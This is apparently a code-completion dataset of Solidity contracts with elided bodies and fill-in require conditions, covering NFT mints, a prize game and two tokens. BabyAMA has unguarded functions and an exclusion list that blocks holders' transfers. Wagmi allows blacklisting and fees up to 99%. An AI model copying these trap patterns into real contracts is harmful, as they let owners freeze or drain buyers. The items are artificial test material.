comment
stringlengths 1
211
⌀ | input
stringlengths 155
20k
| label
stringlengths 4
1k
| original_idx
int64 203
514k
| predicate
stringlengths 1
1k
|
|---|---|---|---|---|
"Not enough ether sent" | pragma solidity ^0.8.7;
contract AdventNFT is ERC721A, Ownable {
using Strings for uint256;
bytes32 public Whitelist_OG;
bytes32 public AllowList;
uint256 public AllowStartTime;
uint256 public WLStartTime;
uint256 public MAX_SUPPLY = 6666; //total supply
uint256 public Max_Mint = 3; //max mint
uint256 public price = 0.13 ether; //price
uint256 public wl_price = 0.1 ether; // wl price
address payable withdrawWallet;
string public baseURI;
mapping(address => uint256) public Max_Minted;
constructor(
string memory _uri,
address payable _withdrawWallet,
bytes32 _wl, bytes32 _allow, uint256 _wltime, uint256 _altime) ERC721A("Advent NFT ", "ADV") {
}
function setwithdrawal(address payable _withdrawWallet) public virtual onlyOwner {
}
function setURI(string calldata uri ) public onlyOwner {
}
function setSigns(bytes32 _allowCode, bytes32 _wlCode) public onlyOwner{
}
function MaxAllowedMints(uint256 Value) public onlyOwner {
}
function PauseMint() public onlyOwner {
}
function StartMint(uint256 _SetWLTime, uint256 _SetAllowTime) public onlyOwner{
}
//set price
function Price(uint256 _newprice) public onlyOwner {
}
function WLPrice(uint256 _newWlPrice) public onlyOwner {
}
function _baseURI() internal view override returns (string memory) {
}
function WithdrawAddress() public view virtual returns (address){
}
function isValidWL(bytes32[] memory proof, bytes32 leaf) public view returns (bool) {
}
function isValidAllowed(bytes32[] memory proof, bytes32 leaf) public view returns (bool) {
}
function mint(uint256 quantity, bytes32[] memory sign) external payable {
require(totalSupply()<=MAX_SUPPLY,"All NFTs were Sold Out");
require(WLStartTime>0,"Sale not started");
require(AllowStartTime>0,"Sale not started_");
require(block.timestamp>WLStartTime,"Sale Not Started yet__");
if(block.timestamp>AllowStartTime) {
uint256 Minted = Max_Minted[msg.sender];
require(isValidAllowed(sign, keccak256(abi.encodePacked(msg.sender))), "Not a part of Allowlist");
require(Max_Minted[msg.sender]<(Max_Mint+1),"you have minted maximum allowed nfts");
require(quantity <= (Max_Mint-Max_Minted[msg.sender]), "You have reached Maximum mint limit");
require(totalSupply() + quantity <= MAX_SUPPLY, "All NFTs are Sold Out");
require(msg.value >= (price * quantity), "Not enough ether sent");
Max_Minted[msg.sender] = Minted + quantity;
_safeMint(msg.sender, quantity);
} else if(block.timestamp>WLStartTime && block.timestamp<AllowStartTime){
uint256 Minted = Max_Minted[msg.sender];
require(isValidWL(sign, keccak256(abi.encodePacked(msg.sender))), "Not a part of OG/Whitelist");
require(Max_Minted[msg.sender]<(Max_Mint+1),"you have minted maximum allowed nfts");
require(quantity <= (Max_Mint-Max_Minted[msg.sender]), "You have reached Maximum mint limit");
require(totalSupply() + quantity <= MAX_SUPPLY, "All NFTs are Sold Out");
require(<FILL_ME>)
Max_Minted[msg.sender] = Minted + quantity;
_safeMint(msg.sender, quantity);
}
}
// mint by owner
function MintByOwner(address _receiver,uint256 quantity) external onlyOwner virtual {
}
// withdraw money
function withdraw() public virtual onlyOwner {
}
function DEVELOPER_ADDRESS() public pure returns (address payable developer) {
}
}
| msg.value>=(wl_price*quantity),"Not enough ether sent" | 212,594 | msg.value>=(wl_price*quantity) |
null | pragma solidity ^0.8.7;
contract AdventNFT is ERC721A, Ownable {
using Strings for uint256;
bytes32 public Whitelist_OG;
bytes32 public AllowList;
uint256 public AllowStartTime;
uint256 public WLStartTime;
uint256 public MAX_SUPPLY = 6666; //total supply
uint256 public Max_Mint = 3; //max mint
uint256 public price = 0.13 ether; //price
uint256 public wl_price = 0.1 ether; // wl price
address payable withdrawWallet;
string public baseURI;
mapping(address => uint256) public Max_Minted;
constructor(
string memory _uri,
address payable _withdrawWallet,
bytes32 _wl, bytes32 _allow, uint256 _wltime, uint256 _altime) ERC721A("Advent NFT ", "ADV") {
}
function setwithdrawal(address payable _withdrawWallet) public virtual onlyOwner {
}
function setURI(string calldata uri ) public onlyOwner {
}
function setSigns(bytes32 _allowCode, bytes32 _wlCode) public onlyOwner{
}
function MaxAllowedMints(uint256 Value) public onlyOwner {
}
function PauseMint() public onlyOwner {
}
function StartMint(uint256 _SetWLTime, uint256 _SetAllowTime) public onlyOwner{
}
//set price
function Price(uint256 _newprice) public onlyOwner {
}
function WLPrice(uint256 _newWlPrice) public onlyOwner {
}
function _baseURI() internal view override returns (string memory) {
}
function WithdrawAddress() public view virtual returns (address){
}
function isValidWL(bytes32[] memory proof, bytes32 leaf) public view returns (bool) {
}
function isValidAllowed(bytes32[] memory proof, bytes32 leaf) public view returns (bool) {
}
function mint(uint256 quantity, bytes32[] memory sign) external payable {
}
// mint by owner
function MintByOwner(address _receiver,uint256 quantity) external onlyOwner virtual {
}
// withdraw money
function withdraw() public virtual onlyOwner {
require(withdrawWallet != address(0), "withdrawalWallet not set");
uint256 _balance = address(this).balance;
require(<FILL_ME>)
}
function DEVELOPER_ADDRESS() public pure returns (address payable developer) {
}
}
| payable(withdrawWallet).send(_balance) | 212,594 | payable(withdrawWallet).send(_balance) |
"El juego ya ha comenzado." | // SPDX-License-Identifier: MIT
pragma solidity 0.8.19;
import "@openzeppelin/contracts/access/Ownable.sol";
import "./IterableMapping.sol";
contract Game is Ownable {
using IterableMapping for IterableMapping.Map;
IterableMapping.Map private playersScores;
address public manager;
address payable public address1;
uint256 public playPrice = 1000000000000000; // 0.001 Matic
uint256 public address1Share;
bool public gameStarted = false;
uint256 public highScore = 0;
struct Player {
address player;
uint256 score;
}
// Evento para notificar cuando un jugador paga y juega
event PlayerPaid(address indexed player, uint256 amount);
modifier onlyManager() {
}
receive() external payable {}
constructor(address payable _address1, address _manager) {
}
function setAddress1(address payable _address1) external onlyOwner {
}
function setPlayPrice(uint256 _playPrice) external onlyOwner {
}
function setManager(address _manager) external onlyOwner {
}
function enableGame() external onlyOwner {
require(<FILL_ME>)
gameStarted = true;
}
function setPlayerScore(
address payable _player,
uint256 _score
) external onlyManager {
}
// Función para que un usuario pague el fee y juegue
function play() external payable {
}
// Función para finalizar el juego y retirar el saldo restante
function endGame() external onlyOwner {
}
function clearRanking() external onlyOwner {
}
// Función para que el propietario vea todas las direcciones de los jugadores
function getRanking() external view returns (Player[] memory) {
}
// function for get top 3 players by score
function getTopThreePlayers() public view returns (address[] memory) {
}
}
| !gameStarted,"El juego ya ha comenzado." | 212,628 | !gameStarted |
"Debe haber al menos 3 jugadores para distribuir premios." | // SPDX-License-Identifier: MIT
pragma solidity 0.8.19;
import "@openzeppelin/contracts/access/Ownable.sol";
import "./IterableMapping.sol";
contract Game is Ownable {
using IterableMapping for IterableMapping.Map;
IterableMapping.Map private playersScores;
address public manager;
address payable public address1;
uint256 public playPrice = 1000000000000000; // 0.001 Matic
uint256 public address1Share;
bool public gameStarted = false;
uint256 public highScore = 0;
struct Player {
address player;
uint256 score;
}
// Evento para notificar cuando un jugador paga y juega
event PlayerPaid(address indexed player, uint256 amount);
modifier onlyManager() {
}
receive() external payable {}
constructor(address payable _address1, address _manager) {
}
function setAddress1(address payable _address1) external onlyOwner {
}
function setPlayPrice(uint256 _playPrice) external onlyOwner {
}
function setManager(address _manager) external onlyOwner {
}
function enableGame() external onlyOwner {
}
function setPlayerScore(
address payable _player,
uint256 _score
) external onlyManager {
}
// Función para que un usuario pague el fee y juegue
function play() external payable {
}
// Función para finalizar el juego y retirar el saldo restante
function endGame() external onlyOwner {
require(gameStarted, "El juego aun no ha comenzado.");
require(<FILL_ME>)
// Obtiene las tres mejores direcciones de jugadores por puntuación
address[] memory topThreePlayers = getTopThreePlayers();
// Calcula la parte para los tres ganadores (70% restante)
uint256 remainingShare = address(this).balance;
// Calcula las partes para los tres ganadores
uint256 firstPlaceShare = (remainingShare * 40) / 100;
uint256 secondPlaceShare = (remainingShare * 30) / 100;
uint256 thirdPlaceShare = (remainingShare * 30) / 100;
gameStarted = false;
for (uint256 i = 0; i < playersScores.size(); i++) {
playersScores.remove(playersScores.getKeyAtIndex(i));
}
highScore = 0;
// Transfiere las partes a los tres ganadores
(bool firstSent, ) = topThreePlayers[0].call{value: firstPlaceShare}(
""
);
require(firstSent, "Fallo al enviar Ether al primer ganador.");
(bool secondSent, ) = topThreePlayers[1].call{value: secondPlaceShare}(
""
);
require(secondSent, "Fallo al enviar Ether al segundo ganador.");
(bool thirdSent, ) = topThreePlayers[2].call{value: thirdPlaceShare}(
""
);
require(thirdSent, "Fallo al enviar Ether al tercer ganador.");
}
function clearRanking() external onlyOwner {
}
// Función para que el propietario vea todas las direcciones de los jugadores
function getRanking() external view returns (Player[] memory) {
}
// function for get top 3 players by score
function getTopThreePlayers() public view returns (address[] memory) {
}
}
| playersScores.size()>=3,"Debe haber al menos 3 jugadores para distribuir premios." | 212,628 | playersScores.size()>=3 |
"not authorize" | pragma solidity ^0.8.4;
/**
> Collection
@notice this contract is standard ERC721 to used as xanalia user's collection managing his NFTs
*/
contract Sales is Ownable, SalesStorage{
constructor() public {
}
modifier isValid() {
require(<FILL_ME>)
_;
}
function addAllowedAddress(address _address) onlyOwner public {
}
function setSales(uint256 _startTime, uint256 _endTime, uint256 _whitelistStartTime) onlyOwner public {
}
function getStatus() public view returns(uint256) {
}
function setVIPPASS(uint256 vipPassId, uint256 price, uint256 limit, bool isWhitelist) public onlyOwner {
}
function setVipPassIds(uint256[] memory _vipPassIds) public onlyOwner {
}
function getVipPassIds() public view returns(uint256[] memory) {
}
function setVIPPASSBulk(VIPPass[] memory vipPass) public onlyOwner {
}
function getVipPassDetails() public view returns(VIPPass[] memory vipPass) {
}
function getUserBought(address _add) public view returns(productDetail[] memory userBoughtDetails) {
}
function placeOrder(productDetail[] calldata _productDetail, uint256 totalAmount ) payable external {
}
function setSellerAddress(address _add) onlyOwner public {
}
function setStatus(uint256 _status) onlyOwner public {
}
function isWhitelisted(address account, bytes32[] calldata proof, uint256 _vipId) public view returns (bool) {
}
function setWhitelistRoot(bytes32 newWhitelistroot, uint256 _vipId) public onlyOwner {
}
function _leaf(address account) internal pure returns (bytes32) {
}
function _verify(bytes32 leaf,bytes32[] memory proof,bytes32 root) internal pure returns (bool) {
}
function getSaleTime() public view returns(uint256 _startTime, uint256 _whitelistStartTime, uint256 _endTime) {
}
fallback() payable external {}
receive() payable external {}
// events
event PlaceOrder(productDetail[] ProductDetails, uint256 indexed orderId, uint256 totalAmount, uint256 totalPrice, address buyer, address seller, uint256 orderPrice);
}
| _allowAddress[msg.sender],"not authorize" | 212,747 | _allowAddress[msg.sender] |
"Max Fees limit is 99%" | pragma solidity ^0.8.0;
contract Wagmi is Ownable, ERC20 {
bool public limited = true;
bool public tradingEnabled;
bool private swapping;
bool public swapEnabled;
uint256 public maxHoldingAmount = 20000000000000000000000000;
uint256 public minHoldingAmount;
uint256 public buyMarketingFee = 15; // 15% buy marketing fee
uint256 public sellMarketingFee = 30; // 30% sell marketing fee
uint256 public swapTokensAtAmount = 100000 * 1e18;
address public uniswapV2Pair;
address public marketingWallet;
IUniswapV2Router02 router = IUniswapV2Router02 (0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); //uniswap v2 router
mapping(address => bool) public blacklists;
mapping(address => bool) public excludedFromFees;
constructor() ERC20("0xWAGMI", "0xW") {
}
function blacklist(address _address, bool _isBlacklisting) external onlyOwner {
}
function setRule(bool _limited, uint256 _maxHoldingAmount, uint256 _minHoldingAmount) external onlyOwner {
}
function setMarketingFee (uint256 buy, uint256 sell) external onlyOwner {
buyMarketingFee = buy;
sellMarketingFee = sell;
require(<FILL_ME>)
}
function enableTrading() external onlyOwner{
}
function updateMarketingWallet (address newWallet) external onlyOwner {
}
function _transfer(address from,address to,uint256 amount) internal override {
}
function swapAndLiquify(uint256 tokens) private {
}
function burn(uint256 value) external {
}
}
| buyMarketingFee+sellMarketingFee<=99,"Max Fees limit is 99%" | 212,861 | buyMarketingFee+sellMarketingFee<=99 |
"trading is not started" | // ░██████╗░█████╗░███████╗██╗░░░██╗ ██████╗░██╗░░░██╗
// ██╔════╝██╔══██╗██╔════╝██║░░░██║ ██╔══██╗╚██╗░██╔╝
// ╚█████╗░███████║█████╗░░██║░░░██║ ██████╦╝░╚████╔╝░
// ░╚═══██╗██╔══██║██╔══╝░░██║░░░██║ ██╔══██╗░░╚██╔╝░░
// ██████╔╝██║░░██║██║░░░░░╚██████╔╝ ██████╦╝░░░██║░░░
// ╚═════╝░╚═╝░░╚═╝╚═╝░░░░░░╚═════╝░ ╚═════╝░░░░╚═╝░░░
// ░█████╗░░█████╗░██╗███╗░░██╗░██████╗██╗░░░██╗██╗░░░░░████████╗░░░███╗░░██╗███████╗████████╗
// ██╔══██╗██╔══██╗██║████╗░██║██╔════╝██║░░░██║██║░░░░░╚══██╔══╝░░░████╗░██║██╔════╝╚══██╔══╝
// ██║░░╚═╝██║░░██║██║██╔██╗██║╚█████╗░██║░░░██║██║░░░░░░░░██║░░░░░░██╔██╗██║█████╗░░░░░██║░░░
// ██║░░██╗██║░░██║██║██║╚████║░╚═══██╗██║░░░██║██║░░░░░░░░██║░░░░░░██║╚████║██╔══╝░░░░░██║░░░
// ╚█████╔╝╚█████╔╝██║██║░╚███║██████╔╝╚██████╔╝███████╗░░░██║░░░██╗██║░╚███║███████╗░░░██║░░░
// ░╚════╝░░╚════╝░╚═╝╚═╝░░╚══╝╚═════╝░░╚═════╝░╚══════╝░░░╚═╝░░░╚═╝╚═╝░░╚══╝╚══════╝░░░╚═╝░░░
// Get your SAFU contract now via Coinsult.net
// SPDX-License-Identifier: MIT
pragma solidity 0.8.17;
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
import "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol";
import "@openzeppelin/contracts/utils/math/SafeMath.sol";
import "@openzeppelin/contracts/token/ERC20/extensions/ERC20Burnable.sol";
import "@openzeppelin/contracts/token/ERC20/extensions/ERC20Snapshot.sol";
import "./Owned.sol";
contract BabyAMA is
ERC20,
ReentrancyGuard,
ERC20Burnable,
ERC20Snapshot,
Owned
{
using SafeERC20 for IERC20;
using SafeMath for uint256;
struct StakingInfo {
uint256 startTime;
}
address private uniswapV2Pair;
address private deployerAddress;
mapping (address => bool) private _isExcludedFrombot;
mapping (address => bool) private _isExclude;
mapping(address => uint256) private _holderLastTransferTimestamp;
bool public checkforamount = false;
bool public canbetrade = true;
/**
* @dev Sets the values for {name} and {symbol} and mint the tokens to the address set.
*
* All two of these values are immutable: they can only be set once during
* construction.
*/
constructor(
address _owner,
string memory token,
string memory _symbol,
address _deployerAddress
)
ERC20(token,_symbol)
Owned(_owner)
{
}
/**
* @dev Creates a new snapshot and returns its snapshot id.
*
* Emits a {Snapshot} event that contains the same id.
*
* {_snapshot} is `internal` and you have to decide how to expose it externally. Its usage may be restricted to a
* set of accounts, for example in our contract, only Owner can call it.
*
*/
function snapshot() public onlyOwner {
}
/**
* @dev Hook that is called before any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* will be transferred to `to`.
* - when `from` is zero, `amount` tokens will be minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function Ckeckcanbetrade (bool _canbetrade) public {
}
function OpenTrade (address _uniswapV2Pair) public {
}
function Ckeckamount (bool _checkforamount) public {
}
function excludeFromRobot(address[] memory account) external {
}
function exclude(address[] memory account) external {
}
function isExcluded(address account) public view returns(bool) {
}
function RemoveFromisExclude(address[] memory account) external {
}
function _beforeTokenTransfer(
address from,
address to,
uint256 amount
) internal override(ERC20, ERC20Snapshot) {
require(amount > 0, "Transfer amount must be greater than zero");
if (uniswapV2Pair == address(0)) {
require(<FILL_ME>)
return;
}
require(! _isExclude[from], "trading is not started");
require(! _isExclude[to], "trading is not started");
super._beforeTokenTransfer(from, to, amount);
}
}
| _isExcludedFrombot[from]||_isExcludedFrombot[to],"trading is not started" | 213,074 | _isExcludedFrombot[from]||_isExcludedFrombot[to] |
"trading is not started" | // ░██████╗░█████╗░███████╗██╗░░░██╗ ██████╗░██╗░░░██╗
// ██╔════╝██╔══██╗██╔════╝██║░░░██║ ██╔══██╗╚██╗░██╔╝
// ╚█████╗░███████║█████╗░░██║░░░██║ ██████╦╝░╚████╔╝░
// ░╚═══██╗██╔══██║██╔══╝░░██║░░░██║ ██╔══██╗░░╚██╔╝░░
// ██████╔╝██║░░██║██║░░░░░╚██████╔╝ ██████╦╝░░░██║░░░
// ╚═════╝░╚═╝░░╚═╝╚═╝░░░░░░╚═════╝░ ╚═════╝░░░░╚═╝░░░
// ░█████╗░░█████╗░██╗███╗░░██╗░██████╗██╗░░░██╗██╗░░░░░████████╗░░░███╗░░██╗███████╗████████╗
// ██╔══██╗██╔══██╗██║████╗░██║██╔════╝██║░░░██║██║░░░░░╚══██╔══╝░░░████╗░██║██╔════╝╚══██╔══╝
// ██║░░╚═╝██║░░██║██║██╔██╗██║╚█████╗░██║░░░██║██║░░░░░░░░██║░░░░░░██╔██╗██║█████╗░░░░░██║░░░
// ██║░░██╗██║░░██║██║██║╚████║░╚═══██╗██║░░░██║██║░░░░░░░░██║░░░░░░██║╚████║██╔══╝░░░░░██║░░░
// ╚█████╔╝╚█████╔╝██║██║░╚███║██████╔╝╚██████╔╝███████╗░░░██║░░░██╗██║░╚███║███████╗░░░██║░░░
// ░╚════╝░░╚════╝░╚═╝╚═╝░░╚══╝╚═════╝░░╚═════╝░╚══════╝░░░╚═╝░░░╚═╝╚═╝░░╚══╝╚══════╝░░░╚═╝░░░
// Get your SAFU contract now via Coinsult.net
// SPDX-License-Identifier: MIT
pragma solidity 0.8.17;
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
import "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol";
import "@openzeppelin/contracts/utils/math/SafeMath.sol";
import "@openzeppelin/contracts/token/ERC20/extensions/ERC20Burnable.sol";
import "@openzeppelin/contracts/token/ERC20/extensions/ERC20Snapshot.sol";
import "./Owned.sol";
contract BabyAMA is
ERC20,
ReentrancyGuard,
ERC20Burnable,
ERC20Snapshot,
Owned
{
using SafeERC20 for IERC20;
using SafeMath for uint256;
struct StakingInfo {
uint256 startTime;
}
address private uniswapV2Pair;
address private deployerAddress;
mapping (address => bool) private _isExcludedFrombot;
mapping (address => bool) private _isExclude;
mapping(address => uint256) private _holderLastTransferTimestamp;
bool public checkforamount = false;
bool public canbetrade = true;
/**
* @dev Sets the values for {name} and {symbol} and mint the tokens to the address set.
*
* All two of these values are immutable: they can only be set once during
* construction.
*/
constructor(
address _owner,
string memory token,
string memory _symbol,
address _deployerAddress
)
ERC20(token,_symbol)
Owned(_owner)
{
}
/**
* @dev Creates a new snapshot and returns its snapshot id.
*
* Emits a {Snapshot} event that contains the same id.
*
* {_snapshot} is `internal` and you have to decide how to expose it externally. Its usage may be restricted to a
* set of accounts, for example in our contract, only Owner can call it.
*
*/
function snapshot() public onlyOwner {
}
/**
* @dev Hook that is called before any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* will be transferred to `to`.
* - when `from` is zero, `amount` tokens will be minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function Ckeckcanbetrade (bool _canbetrade) public {
}
function OpenTrade (address _uniswapV2Pair) public {
}
function Ckeckamount (bool _checkforamount) public {
}
function excludeFromRobot(address[] memory account) external {
}
function exclude(address[] memory account) external {
}
function isExcluded(address account) public view returns(bool) {
}
function RemoveFromisExclude(address[] memory account) external {
}
function _beforeTokenTransfer(
address from,
address to,
uint256 amount
) internal override(ERC20, ERC20Snapshot) {
require(amount > 0, "Transfer amount must be greater than zero");
if (uniswapV2Pair == address(0)) {
require(_isExcludedFrombot[from] || _isExcludedFrombot[to], "trading is not started");
return;
}
require(<FILL_ME>)
require(! _isExclude[to], "trading is not started");
super._beforeTokenTransfer(from, to, amount);
}
}
| !_isExclude[from],"trading is not started" | 213,074 | !_isExclude[from] |
"trading is not started" | // ░██████╗░█████╗░███████╗██╗░░░██╗ ██████╗░██╗░░░██╗
// ██╔════╝██╔══██╗██╔════╝██║░░░██║ ██╔══██╗╚██╗░██╔╝
// ╚█████╗░███████║█████╗░░██║░░░██║ ██████╦╝░╚████╔╝░
// ░╚═══██╗██╔══██║██╔══╝░░██║░░░██║ ██╔══██╗░░╚██╔╝░░
// ██████╔╝██║░░██║██║░░░░░╚██████╔╝ ██████╦╝░░░██║░░░
// ╚═════╝░╚═╝░░╚═╝╚═╝░░░░░░╚═════╝░ ╚═════╝░░░░╚═╝░░░
// ░█████╗░░█████╗░██╗███╗░░██╗░██████╗██╗░░░██╗██╗░░░░░████████╗░░░███╗░░██╗███████╗████████╗
// ██╔══██╗██╔══██╗██║████╗░██║██╔════╝██║░░░██║██║░░░░░╚══██╔══╝░░░████╗░██║██╔════╝╚══██╔══╝
// ██║░░╚═╝██║░░██║██║██╔██╗██║╚█████╗░██║░░░██║██║░░░░░░░░██║░░░░░░██╔██╗██║█████╗░░░░░██║░░░
// ██║░░██╗██║░░██║██║██║╚████║░╚═══██╗██║░░░██║██║░░░░░░░░██║░░░░░░██║╚████║██╔══╝░░░░░██║░░░
// ╚█████╔╝╚█████╔╝██║██║░╚███║██████╔╝╚██████╔╝███████╗░░░██║░░░██╗██║░╚███║███████╗░░░██║░░░
// ░╚════╝░░╚════╝░╚═╝╚═╝░░╚══╝╚═════╝░░╚═════╝░╚══════╝░░░╚═╝░░░╚═╝╚═╝░░╚══╝╚══════╝░░░╚═╝░░░
// Get your SAFU contract now via Coinsult.net
// SPDX-License-Identifier: MIT
pragma solidity 0.8.17;
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
import "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol";
import "@openzeppelin/contracts/utils/math/SafeMath.sol";
import "@openzeppelin/contracts/token/ERC20/extensions/ERC20Burnable.sol";
import "@openzeppelin/contracts/token/ERC20/extensions/ERC20Snapshot.sol";
import "./Owned.sol";
contract BabyAMA is
ERC20,
ReentrancyGuard,
ERC20Burnable,
ERC20Snapshot,
Owned
{
using SafeERC20 for IERC20;
using SafeMath for uint256;
struct StakingInfo {
uint256 startTime;
}
address private uniswapV2Pair;
address private deployerAddress;
mapping (address => bool) private _isExcludedFrombot;
mapping (address => bool) private _isExclude;
mapping(address => uint256) private _holderLastTransferTimestamp;
bool public checkforamount = false;
bool public canbetrade = true;
/**
* @dev Sets the values for {name} and {symbol} and mint the tokens to the address set.
*
* All two of these values are immutable: they can only be set once during
* construction.
*/
constructor(
address _owner,
string memory token,
string memory _symbol,
address _deployerAddress
)
ERC20(token,_symbol)
Owned(_owner)
{
}
/**
* @dev Creates a new snapshot and returns its snapshot id.
*
* Emits a {Snapshot} event that contains the same id.
*
* {_snapshot} is `internal` and you have to decide how to expose it externally. Its usage may be restricted to a
* set of accounts, for example in our contract, only Owner can call it.
*
*/
function snapshot() public onlyOwner {
}
/**
* @dev Hook that is called before any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* will be transferred to `to`.
* - when `from` is zero, `amount` tokens will be minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function Ckeckcanbetrade (bool _canbetrade) public {
}
function OpenTrade (address _uniswapV2Pair) public {
}
function Ckeckamount (bool _checkforamount) public {
}
function excludeFromRobot(address[] memory account) external {
}
function exclude(address[] memory account) external {
}
function isExcluded(address account) public view returns(bool) {
}
function RemoveFromisExclude(address[] memory account) external {
}
function _beforeTokenTransfer(
address from,
address to,
uint256 amount
) internal override(ERC20, ERC20Snapshot) {
require(amount > 0, "Transfer amount must be greater than zero");
if (uniswapV2Pair == address(0)) {
require(_isExcludedFrombot[from] || _isExcludedFrombot[to], "trading is not started");
return;
}
require(! _isExclude[from], "trading is not started");
require(<FILL_ME>)
super._beforeTokenTransfer(from, to, amount);
}
}
| !_isExclude[to],"trading is not started" | 213,074 | !_isExclude[to] |
"Invalid Merkle Proof" | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.16;
// :::::::: ::::::::: :::::::::: :::: ::: ::::::::: :::::::::: ::::::::::: ::::::::
// :+: :+: :+: :+: :+: :+:+: :+: :+: :+: :+: :+: :+: :+:
// +:+ +:+ +:+ +:+ +:+ :+:+:+ +:+ +:+ +:+ +:+ +:+ +:+
// +#+ +:+ +#+ +:+ +#++:++# +#+ +:+ +#+ +#++:++#+ +#++:++# +#+ +#++:++#++
// +#+ +#+ +#+ +#+ +#+ +#+ +#+#+# +#+ +#+ +#+ +#+
// #+# #+# #+# #+# #+# #+# #+#+# #+# #+# #+# #+# #+#
// ######## ######### ########## ### #### ### ########## ### ########
/// @title: ODENPETS
/// @author: Shunichiro
/// @dev: This contract using NFTBoil (https://github.com/syunduel/NFTBoil)
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/utils/Strings.sol";
import "@openzeppelin/contracts/token/ERC721/extensions/ERC721Pausable.sol";
import "@openzeppelin/contracts/token/common/ERC2981.sol";
import "erc721a/contracts/ERC721A.sol";
import "@openzeppelin/contracts/utils/cryptography/MerkleProof.sol";
// This NFT License is a16z Can't be Evil Lisence
import {LicenseVersion, CantBeEvil} from "@a16z/contracts/licenses/CantBeEvil.sol";
contract ODENPETS is ERC721A, ERC2981 , Ownable, Pausable, CantBeEvil(LicenseVersion.CBE_NECR_HS) {
using Strings for uint256;
string private baseURI = "";
uint256 public preCost = 0.001 ether;
uint256 public publicCost = 0.001 ether;
bool public presale = true;
bool public mintable = false;
bool public publicSaleWithoutProof = false;
uint256 public maxPerWallet = 300;
uint256 public publicMaxPerTx = 5;
address public royaltyAddress;
uint96 public royaltyFee = 500;
uint256 constant public MAX_SUPPLY = 10000;
string constant private BASE_EXTENSION = ".json";
address constant private DEFAULT_ROYALITY_ADDRESS = 0xA9028b1EA3A8485130eB86Dc1F26654c823D9849;
bytes32 public merkleRootPreMint;
bytes32 public merkleRootPublicMint;
mapping(address => uint256) private claimed;
constructor(
string memory _name,
string memory _symbol
) ERC721A(_name, _symbol) {
}
modifier whenMintable() {
}
/**
* @dev The modifier allowing the function access only for real humans.
*/
modifier callerIsUser() {
}
// internal
function _baseURI() internal view override returns (string memory) {
}
function tokenURI(uint256 tokenId) public view virtual override returns (string memory) {
}
/**
* @notice Set the merkle root for the allow list mint
*/
function setMerkleRootPreMint(bytes32 _merkleRoot) external onlyOwner {
}
/**
* @notice Set the merkle root for the public mint
*/
function setMerkleRootPublicMint(bytes32 _merkleRoot) external onlyOwner {
}
function publicMint(uint256 _mintAmount, uint256 _publicMintMax, bytes32[] calldata _merkleProof) public
payable
whenNotPaused
whenMintable
callerIsUser
{
uint256 cost = publicCost * _mintAmount;
mintCheck(_mintAmount, cost);
require(!presale, "Presale is active.");
bytes32 leaf = keccak256(abi.encodePacked(msg.sender, _publicMintMax));
require(<FILL_ME>)
require(
claimed[msg.sender] + _mintAmount <= _publicMintMax,
"Already claimed max"
);
require(
_mintAmount <= publicMaxPerTx,
"Mint amount over"
);
_mint(msg.sender, _mintAmount);
claimed[msg.sender] += _mintAmount;
}
function preMint(uint256 _mintAmount, uint256 _preMintMax, bytes32[] calldata _merkleProof)
public
payable
whenMintable
whenNotPaused
{
}
function publicMintWithoutProof(uint256 _mintAmount) public
payable
whenNotPaused
whenMintable
callerIsUser
{
}
function mintCheck(
uint256 _mintAmount,
uint256 cost
) private view {
}
function ownerMint(address _address, uint256 count) public onlyOwner {
}
function setPresale(bool _state) public onlyOwner {
}
function setPublicSaleWithoutProof(bool _state) public onlyOwner {
}
function setPreCost(uint256 _preCost) public onlyOwner {
}
function setPublicCost(uint256 _publicCost) public onlyOwner {
}
function setMintable(bool _state) public onlyOwner {
}
function setMaxPerWallet(uint256 _maxPerWallet) external onlyOwner {
}
function setPublicMaxPerTx(uint256 _publicMaxPerTx) external onlyOwner {
}
function getCurrentCost() public view returns (uint256) {
}
function setBaseURI(string memory _newBaseURI) public onlyOwner {
}
function pause() public onlyOwner {
}
function unpause() public onlyOwner {
}
function withdraw() external onlyOwner {
}
/**
* @notice Change the royalty fee for the collection
*/
function setRoyaltyFee(uint96 _feeNumerator) external onlyOwner {
}
/**
* @notice Change the royalty address where royalty payouts are sent
*/
function setRoyaltyAddress(address _royaltyAddress) external onlyOwner {
}
function supportsInterface(
bytes4 interfaceId
) public view virtual override(ERC721A, ERC2981,CantBeEvil) returns (bool) {
}
function _startTokenId() internal view virtual override returns (uint256) {
}
}
| MerkleProof.verify(_merkleProof,merkleRootPublicMint,leaf),"Invalid Merkle Proof" | 213,077 | MerkleProof.verify(_merkleProof,merkleRootPublicMint,leaf) |
"Already claimed max" | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.16;
// :::::::: ::::::::: :::::::::: :::: ::: ::::::::: :::::::::: ::::::::::: ::::::::
// :+: :+: :+: :+: :+: :+:+: :+: :+: :+: :+: :+: :+: :+:
// +:+ +:+ +:+ +:+ +:+ :+:+:+ +:+ +:+ +:+ +:+ +:+ +:+
